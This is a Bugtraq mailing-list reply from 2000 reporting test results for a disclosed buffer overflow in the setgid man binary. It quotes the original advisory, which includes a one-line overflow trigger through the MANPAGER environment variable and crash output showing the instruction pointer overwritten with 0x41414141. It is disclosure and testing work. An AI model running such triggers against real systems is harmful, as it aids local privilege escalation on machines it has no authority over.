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Re: man bugs might lead to root compromise (RH 6.1 and other boxe s)
From: JLicquia () SPRINGFIELDCLINIC COM (Licquia, Jeff)
Date: Mon, 28 Feb 2000 09:48:55 -0600


Tested on Debian potato.  No SIGSEGV.

Package status for man on my box:

Desired=Unknown/Install/Remove/Purge
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err:
uppercase=bad)
||/ Name           Version        Description
+++-==============-==============-==========================================
==
ii  man-db         2.3.10-69s     Display the on-line manual.

-----Original Message-----
From: Michal Zalewski [mailto:lcamtuf () DIONE IDS PL]
Sent: Saturday, February 26, 1994 6:49 AM
To: BUGTRAQ () SECURITYFOCUS COM
Subject: man bugs might lead to root compromise (RH 6.1 and other boxes)

With most of Linux distributions, /usr/bin/man is shipped as setgid man.
This setgid bit is required to build formatted manpages in /var/catman for
faster access. Unfortunately, man does almost everything via system()
calls, where parameters are user-dependent, and almost always it's
sprintf'ed before to fixed size buffers. It's kinda trivial to gain man
privledges, using buffer overflows in enviromental variables. For example,
by specyfing MANPAGER variable with approx 4k 'A' letters, you'll get
SEGV:

$ MANPAGER=`perl -e '{print "A"x4000}'` man ls

[...]

1200  setuid(500)                       = 0
1200  setgid(15)                        = 0
1200  open("/usr/share/locale/pl/man", O_RDONLY) = -1 ENOENT (No such file
or directory)
1200  open("/usr/share/locale/pl/LC_MESSAGES/man", O_RDONLY) = -1 ENOENT (No
such file or directory)1200  open("/usr/share/locale/pl/man", O_RDONLY) = -1
ENOENT (No such file or directory)
1200  open("/usr/share/locale/pl/LC_MESSAGES/man", O_RDONLY) = -1 ENOENT (No
such file or directory)1200  close(-1)                         = -1 EBADF
(Bad file descriptor)
1200  write(2, "Error executing formatting or display command.\nSystem
command (cd /usr/man ; (echo
1200  --- SIGSEGV (Naruszenie ochrony pamiêci) ---
1200  +++ killed by SIGSEGV +++

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

[...]


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  • Re: man bugs might lead to root compromise (RH 6.1 and other boxe s) Licquia, Jeff (Feb 28)
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